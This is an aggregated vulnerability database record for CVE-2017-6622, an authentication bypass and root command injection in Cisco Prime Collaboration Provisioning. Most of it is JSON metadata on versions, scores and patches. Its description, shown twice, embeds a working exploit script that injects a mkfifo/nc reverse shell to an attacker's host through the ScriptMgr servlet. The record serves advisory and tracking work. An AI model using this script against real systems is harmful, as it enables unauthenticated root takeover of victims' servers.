var-201705-3737
Vulnerability from variot

A vulnerability in the web interface for Cisco Prime Collaboration Provisioning could allow an unauthenticated, remote attacker to bypass authentication and perform command injection with root privileges. The vulnerability is due to missing security constraints in certain HTTP request methods, which could allow access to files via the web interface. An attacker could exploit this vulnerability by sending a crafted HTTP request to the targeted application. This vulnerability affects Cisco Prime Collaboration Provisioning Software Releases prior to 12.1. Cisco Bug IDs: CSCvc98724. Authentication is not required to exploit this vulnerability.The specific flaw exists within the ScriptMgr servlet, which listens on TCP port 443 by default. A crafted request can bypass authentication for this resource. An attacker can leverage this vulnerability to execute arbitrary code under the context of root. An attacker can exploit this issue to bypass the authentication mechanism and perform unauthorized actions. This may lead to further attacks. The software provides IP communications services functionality for IP telephony, voice mail, and unified communications environments.

Usage: ./prime-shell.sh

function encode() { echo "$1" | perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"' }

TARGET=$1 ATTACKER=$2 PORT=$3

BASH=$(encode "/bin/bash") COMMAND=$(encode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc $ATTACKER $PORT >/tmp/f") SCRIPTTEXT="Runtime.getRuntime().exec(new%20String[]{\"$BASH\",\"-c\",\"$COMMAND\"});"

curl --head -gk "https://$TARGET/cupm/ScriptMgr?command=compile&language=bsh&script=foo&scripttext=$SCRIPTTEXT"

Show details on source website


{
  "affected_products": {
    "_id": null,
    "data": [
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 1.9,
        "vendor": "cisco",
        "version": "10.5.1"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "11.1.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "10.6.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "10.6.2"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "9.0.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "10.5.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "10.0.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "9.5.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "11.5.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 1.6,
        "vendor": "cisco",
        "version": "11.0.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "lt",
        "trust": 0.8,
        "vendor": "cisco",
        "version": "12.1"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": null,
        "trust": 0.7,
        "vendor": "cisco",
        "version": null
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "9.5"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "9.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "11.6"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "11.2"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "11.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning sp2",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "10.6"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "10.6"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "10.5"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "eq",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "10.0"
      },
      {
        "_id": null,
        "model": "prime collaboration provisioning",
        "scope": "ne",
        "trust": 0.3,
        "vendor": "cisco",
        "version": "12.1"
      }
    ],
    "sources": [
      {
        "db": "ZDI",
        "id": "ZDI-17-445"
      },
      {
        "db": "BID",
        "id": "98520"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201705-848"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6622"
      }
    ]
  },
  "configurations": {
    "_id": null,
    "data": [
      {
        "CVE_data_version": "4.0",
        "nodes": [
          {
            "cpe_match": [
              {
                "cpe22Uri": "cpe:/a:cisco:prime_collaboration_provisioning",
                "vulnerable": true
              }
            ],
            "operator": "OR"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117"
      }
    ]
  },
  "credits": {
    "_id": null,
    "data": "rgod",
    "sources": [
      {
        "db": "ZDI",
        "id": "ZDI-17-445"
      }
    ],
    "trust": 0.7
  },
  "cve": "CVE-2017-6622",
  "cvss": {
    "_id": null,
    "data": [
      {
        "cvssV2": [
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "nvd@nist.gov",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "CVE-2017-6622",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 2.6,
            "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C",
            "version": "2.0"
          },
          {
            "accessComplexity": "LOW",
            "accessVector": "NETWORK",
            "authentication": "NONE",
            "author": "VULHUB",
            "availabilityImpact": "COMPLETE",
            "baseScore": 10.0,
            "confidentialityImpact": "COMPLETE",
            "exploitabilityScore": 10.0,
            "id": "VHN-114825",
            "impactScore": 10.0,
            "integrityImpact": "COMPLETE",
            "severity": "HIGH",
            "trust": 0.1,
            "vectorString": "AV:N/AC:L/AU:N/C:C/I:C/A:C",
            "version": "2.0"
          }
        ],
        "cvssV3": [
          {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "author": "nvd@nist.gov",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "exploitabilityScore": 3.9,
            "id": "CVE-2017-6622",
            "impactScore": 5.9,
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "trust": 1.8,
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.0"
          }
        ],
        "severity": [
          {
            "author": "nvd@nist.gov",
            "id": "CVE-2017-6622",
            "trust": 1.0,
            "value": "CRITICAL"
          },
          {
            "author": "NVD",
            "id": "CVE-2017-6622",
            "trust": 0.8,
            "value": "Critical"
          },
          {
            "author": "ZDI",
            "id": "CVE-2017-6622",
            "trust": 0.7,
            "value": "HIGH"
          },
          {
            "author": "CNNVD",
            "id": "CNNVD-201705-848",
            "trust": 0.6,
            "value": "CRITICAL"
          },
          {
            "author": "VULHUB",
            "id": "VHN-114825",
            "trust": 0.1,
            "value": "HIGH"
          },
          {
            "author": "VULMON",
            "id": "CVE-2017-6622",
            "trust": 0.1,
            "value": "HIGH"
          }
        ]
      }
    ],
    "sources": [
      {
        "db": "ZDI",
        "id": "ZDI-17-445"
      },
      {
        "db": "VULHUB",
        "id": "VHN-114825"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-6622"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201705-848"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6622"
      }
    ]
  },
  "description": {
    "_id": null,
    "data": "A vulnerability in the web interface for Cisco Prime Collaboration Provisioning could allow an unauthenticated, remote attacker to bypass authentication and perform command injection with root privileges. The vulnerability is due to missing security constraints in certain HTTP request methods, which could allow access to files via the web interface. An attacker could exploit this vulnerability by sending a crafted HTTP request to the targeted application. This vulnerability affects Cisco Prime Collaboration Provisioning Software Releases prior to 12.1. Cisco Bug IDs: CSCvc98724. Authentication is not required to exploit this vulnerability.The specific flaw exists within the ScriptMgr servlet, which listens on TCP port 443 by default. A crafted request can bypass authentication for this resource. An attacker can leverage this vulnerability to execute arbitrary code under the context of root. \nAn attacker can exploit this issue to bypass the authentication mechanism and perform unauthorized actions. This may lead to further attacks. The software provides IP communications services functionality for IP telephony, voice mail, and unified communications environments. \n \n# Usage: ./prime-shell.sh \u003cTARGET-IP\u003e \u003cATTACKER-IP\u003e \u003cATTACKER-PORT\u003e\n \nfunction encode() {\n    echo \"$1\" | perl -MURI::Escape -ne \u0027chomp;print uri_escape($_),\"\\n\"\u0027\n}\n \nTARGET=$1\nATTACKER=$2\nPORT=$3\n \nBASH=$(encode \"/bin/bash\")\nCOMMAND=$(encode \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u003e\u00261|nc $ATTACKER $PORT \u003e/tmp/f\")\nSCRIPTTEXT=\"Runtime.getRuntime().exec(new%20String[]{\\\"$BASH\\\",\\\"-c\\\",\\\"$COMMAND\\\"});\"\n \ncurl --head -gk \"https://$TARGET/cupm/ScriptMgr?command=compile\u0026language=bsh\u0026script=foo\u0026scripttext=$SCRIPTTEXT\"\n\n",
    "sources": [
      {
        "db": "NVD",
        "id": "CVE-2017-6622"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117"
      },
      {
        "db": "ZDI",
        "id": "ZDI-17-445"
      },
      {
        "db": "BID",
        "id": "98520"
      },
      {
        "db": "VULHUB",
        "id": "VHN-114825"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-6622"
      },
      {
        "db": "PACKETSTORM",
        "id": "144420"
      }
    ],
    "trust": 2.79
  },
  "exploit_availability": {
    "_id": null,
    "data": [
      {
        "reference": "https://www.scap.org.cn/vuln/vhn-114825",
        "trust": 0.1,
        "type": "unknown"
      },
      {
        "reference": "https://vulmon.com/exploitdetails?qidtp=exploitdb\u0026qid=42888",
        "trust": 0.1,
        "type": "exploit"
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-114825"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-6622"
      }
    ]
  },
  "external_ids": {
    "_id": null,
    "data": [
      {
        "db": "NVD",
        "id": "CVE-2017-6622",
        "trust": 3.7
      },
      {
        "db": "BID",
        "id": "98520",
        "trust": 2.1
      },
      {
        "db": "EXPLOIT-DB",
        "id": "42888",
        "trust": 1.8
      },
      {
        "db": "SECTRACK",
        "id": "1038507",
        "trust": 1.8
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117",
        "trust": 0.8
      },
      {
        "db": "ZDI_CAN",
        "id": "ZDI-CAN-4343",
        "trust": 0.7
      },
      {
        "db": "ZDI",
        "id": "ZDI-17-445",
        "trust": 0.7
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201705-848",
        "trust": 0.7
      },
      {
        "db": "PACKETSTORM",
        "id": "144420",
        "trust": 0.2
      },
      {
        "db": "VULHUB",
        "id": "VHN-114825",
        "trust": 0.1
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-6622",
        "trust": 0.1
      }
    ],
    "sources": [
      {
        "db": "ZDI",
        "id": "ZDI-17-445"
      },
      {
        "db": "VULHUB",
        "id": "VHN-114825"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-6622"
      },
      {
        "db": "BID",
        "id": "98520"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117"
      },
      {
        "db": "PACKETSTORM",
        "id": "144420"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201705-848"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6622"
      }
    ]
  },
  "id": "VAR-201705-3737",
  "iot": {
    "_id": null,
    "data": true,
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-114825"
      }
    ],
    "trust": 0.01
  },
  "last_update_date": "2024-11-23T22:17:56.720000Z",
  "patch": {
    "_id": null,
    "data": [
      {
        "title": "cisco-sa-20170517-pcp1",
        "trust": 1.5,
        "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170517-pcp1"
      },
      {
        "title": "Cisco Prime Collaboration Provisioning Software Security vulnerabilities",
        "trust": 0.6,
        "url": "http://www.cnnvd.org.cn/web/xxk/bdxqById.tag?id=70379"
      },
      {
        "title": "Cisco: Cisco Prime Collaboration Provisioning Authentication Bypass Vulnerability",
        "trust": 0.1,
        "url": "https://vulmon.com/vendoradvisory?qidtp=cisco_security_advisories_and_alerts_ciscoproducts\u0026qid=cisco-sa-20170517-pcp1"
      }
    ],
    "sources": [
      {
        "db": "ZDI",
        "id": "ZDI-17-445"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-6622"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201705-848"
      }
    ]
  },
  "problemtype_data": {
    "_id": null,
    "data": [
      {
        "problemtype": "CWE-264",
        "trust": 1.9
      },
      {
        "problemtype": "CWE-862",
        "trust": 1.1
      }
    ],
    "sources": [
      {
        "db": "VULHUB",
        "id": "VHN-114825"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6622"
      }
    ]
  },
  "references": {
    "_id": null,
    "data": [
      {
        "trust": 2.9,
        "url": "https://tools.cisco.com/security/center/content/ciscosecurityadvisory/cisco-sa-20170517-pcp1"
      },
      {
        "trust": 1.9,
        "url": "http://www.securityfocus.com/bid/98520"
      },
      {
        "trust": 1.9,
        "url": "https://www.exploit-db.com/exploits/42888/"
      },
      {
        "trust": 1.8,
        "url": "http://www.securitytracker.com/id/1038507"
      },
      {
        "trust": 0.9,
        "url": "https://nvd.nist.gov/vuln/detail/cve-2017-6622"
      },
      {
        "trust": 0.8,
        "url": "http://cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2017-6622"
      },
      {
        "trust": 0.3,
        "url": "http://www.cisco.com/"
      },
      {
        "trust": 0.1,
        "url": "https://cwe.mitre.org/data/definitions/862.html"
      },
      {
        "trust": 0.1,
        "url": "https://nvd.nist.gov"
      },
      {
        "trust": 0.1,
        "url": "https://www.tenable.com/plugins/index.php?view=single\u0026id=101531"
      },
      {
        "trust": 0.1,
        "url": "https://software.cisco.com/download/release.html?mdfid=286308336\u0026softwareid=286289070\u0026release=11.6\u0026flowid=81443"
      },
      {
        "trust": 0.1,
        "url": "https://cisco.com"
      },
      {
        "trust": 0.1,
        "url": "https://$target/cupm/scriptmgr?command=compile\u0026language=bsh\u0026script=foo\u0026scripttext=$scripttext\""
      }
    ],
    "sources": [
      {
        "db": "ZDI",
        "id": "ZDI-17-445"
      },
      {
        "db": "VULHUB",
        "id": "VHN-114825"
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-6622"
      },
      {
        "db": "BID",
        "id": "98520"
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117"
      },
      {
        "db": "PACKETSTORM",
        "id": "144420"
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201705-848"
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6622"
      }
    ]
  },
  "sources": {
    "_id": null,
    "data": [
      {
        "db": "ZDI",
        "id": "ZDI-17-445",
        "ident": null
      },
      {
        "db": "VULHUB",
        "id": "VHN-114825",
        "ident": null
      },
      {
        "db": "VULMON",
        "id": "CVE-2017-6622",
        "ident": null
      },
      {
        "db": "BID",
        "id": "98520",
        "ident": null
      },
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117",
        "ident": null
      },
      {
        "db": "PACKETSTORM",
        "id": "144420",
        "ident": null
      },
      {
        "db": "CNNVD",
        "id": "CNNVD-201705-848",
        "ident": null
      },
      {
        "db": "NVD",
        "id": "CVE-2017-6622",
        "ident": null
      }
    ]
  },
  "sources_release_date": {
    "_id": null,
    "data": [
      {
        "date": "2017-06-26T00:00:00",
        "db": "ZDI",
        "id": "ZDI-17-445",
        "ident": null
      },
      {
        "date": "2017-05-18T00:00:00",
        "db": "VULHUB",
        "id": "VHN-114825",
        "ident": null
      },
      {
        "date": "2017-05-18T00:00:00",
        "db": "VULMON",
        "id": "CVE-2017-6622",
        "ident": null
      },
      {
        "date": "2017-05-17T00:00:00",
        "db": "BID",
        "id": "98520",
        "ident": null
      },
      {
        "date": "2017-06-16T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2017-004117",
        "ident": null
      },
      {
        "date": "2017-09-29T02:22:22",
        "db": "PACKETSTORM",
        "id": "144420",
        "ident": null
      },
      {
        "date": "2017-05-22T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201705-848",
        "ident": null
      },
      {
        "date": "2017-05-18T19:29:00.237000",
        "db": "NVD",
        "id": "CVE-2017-6622",
        "ident": null
      }
    ]
  },
  "sources_update_date": {
    "_id": null,
    "data": [
      {
        "date": "2017-06-26T00:00:00",
        "db": "ZDI",
        "id": "ZDI-17-445",
        "ident": null
      },
      {
        "date": "2019-10-03T00:00:00",
        "db": "VULHUB",
        "id": "VHN-114825",
        "ident": null
      },
      {
        "date": "2019-10-03T00:00:00",
        "db": "VULMON",
        "id": "CVE-2017-6622",
        "ident": null
      },
      {
        "date": "2017-05-17T00:00:00",
        "db": "BID",
        "id": "98520",
        "ident": null
      },
      {
        "date": "2017-06-16T00:00:00",
        "db": "JVNDB",
        "id": "JVNDB-2017-004117",
        "ident": null
      },
      {
        "date": "2019-10-23T00:00:00",
        "db": "CNNVD",
        "id": "CNNVD-201705-848",
        "ident": null
      },
      {
        "date": "2024-11-21T03:30:08.967000",
        "db": "NVD",
        "id": "CVE-2017-6622",
        "ident": null
      }
    ]
  },
  "threat_type": {
    "_id": null,
    "data": "remote",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201705-848"
      }
    ],
    "trust": 0.6
  },
  "title": {
    "_id": null,
    "data": "Cisco Prime Collaboration Provisioning of  Web Vulnerabilities that bypass authentication in the interface",
    "sources": [
      {
        "db": "JVNDB",
        "id": "JVNDB-2017-004117"
      }
    ],
    "trust": 0.8
  },
  "type": {
    "_id": null,
    "data": "permissions and access control issues",
    "sources": [
      {
        "db": "CNNVD",
        "id": "CNNVD-201705-848"
      }
    ],
    "trust": 0.6
  }
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
  • Confirmed: The vulnerability is confirmed from an analyst perspective.
  • Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
  • Patched: This vulnerability was successfully patched by the user reporting the sighting.
  • Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
  • Not confirmed: The user expresses doubt about the veracity of the vulnerability.
  • Not patched: This vulnerability was not successfully patched by the user reporting the sighting.


Loading…